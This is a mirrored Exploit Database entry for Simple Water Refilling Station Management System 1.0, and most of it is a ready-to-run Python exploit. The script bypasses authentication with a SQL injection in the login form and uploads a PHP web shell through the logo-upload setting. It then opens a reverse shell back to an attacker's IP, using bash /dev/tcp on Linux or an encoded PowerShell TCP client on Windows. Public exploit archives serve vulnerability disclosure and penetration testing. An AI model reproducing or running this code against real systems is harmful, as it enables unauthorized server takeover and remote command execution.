Simple Water Refilling Station Management System 1.0 – Remote Code Execution (RCE) through File Upload

Exploit Database
138 阅读

作者： Matt Sorrell

日期： 2021-08-16
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50205/

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# Exploit Title: Simple Water Refilling Station Management System 1.0 - Remote Code Execution (RCE) through File Upload

# Exploit Author: Matt Sorrell

# Date: 2021-08-14

# Vendor Homepage: https://www.sourcecodester.com

# Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html

# Version: 1.0

# Tested On: Windows Server 2019 and XAMPP 7.4.22

# The Simple Water Refilling Station Management System

# contains a file upload vulnerability that allows for remote

# code execution against the target.This exploit requires

# the user to be authenticated, but a SQL injection in the login form

# allows the authentication controls to be bypassed.The application does not perform

# any validation checks against the uploaded file at "/classes/SystemSettings.php"

# and the directory it is placed in allows for execution of PHP code.

#!/usr/bin/env python3

import requests

from bs4 import BeautifulSoup as bs

import time

import subprocess

import base64

import sys

def login_with_injection(url, session):

target = url + "/classes/Login.php?f=login"

data = {

"username": "test' OR 1=1-- -",

"password": "test"

}

r = session.post(target, data=data)

if '"status":"success"' in r.text:

return True

else:

return False

def upload_shell(url, session):

target = url + "/classes/SystemSettings.php?f=update_settings"

files = {'img': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'application/x-php')}

r = session.post(target, files=files)

if r.headers['Content-Length'] != 1:

print("[+] Shell uploaded.\n")

return r.links

else:

print("Error uploading file.Exiting.")

exit(-1)

def activate_shell(url, session, OS, rev_ip, rev_port):

target = url + "/admin/?page=system_info"

r = session.get(target)

page_data = r.text

soup = bs(page_data, features='lxml')

for link in soup.find_all('link'):

if "shell" in link.get('href'):

shell_url = link.get('href')

break

print(f"[+] Found URL for shell: {shell_url}\n")

print("[*] Attempting to start reverse shell...")

subprocess.Popen(["nc","-nvlp",f"{rev_port}"])

time.sleep(1)

if OS.lower() == "linux":

cmd = f"bash -c 'bash -i >& /dev/tcp/{rev_ip}/{rev_port}'"

else:

cmd = f"$TCPClient = New-Object Net.Sockets.TCPClient('{rev_ip}', {rev_port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {{[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {{0}};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {{$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {{Invoke-Expression $Command 2>&1 | Out-String}} catch {{$_ | Out-String}}WriteToStream ($Output)}}$StreamWriter.Close()".strip()

cmd = "C:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe -enc " + base64.b64encode(cmd.encode('UTF-16LE')).decode()

r = session.get(shell_url+"?cmd="+cmd)

def main():

if len(sys.argv) != 5:

print(f"(+) Usage:\t python3 {sys.argv[0]} <TARGET IP> <LISTENING IP> <LISTENING PORT> <WINDOWS/LINUX Target>")

print(f"(+) Usage:\t python3 {sys.argv[0]} 10.1.1.1 10.1.1.20 443 windows")

exit(-1)

else:

ip = sys.argv[1]

rev_ip = sys.argv[2]

rev_port = sys.argv[3]

OS = sys.argv[4]

URL = f"http://{ip}/water_refilling"

s = requests.Session()

print("[*] Trying to bypass authentication through SQL injection...\n")

if not login_with_injection(URL, s):

print("[-] Failed to login.Exiting.")

exit(-1)

else:

print("[+] Successfully logged in.\n")

time.sleep(2)

print("[*] Trying to upload shell through system logo functionality...\n")

links = upload_shell(URL, s)

# Sleeping for 2 seconds to avoid problems finding the file uploaded

time.sleep(2)

print("[*] Getting shell URL and sending reverse shell command...\n")

activate_shell(URL, s, OS, rev_ip, rev_port)

while True:

pass

if __name__ == "__main__":

main()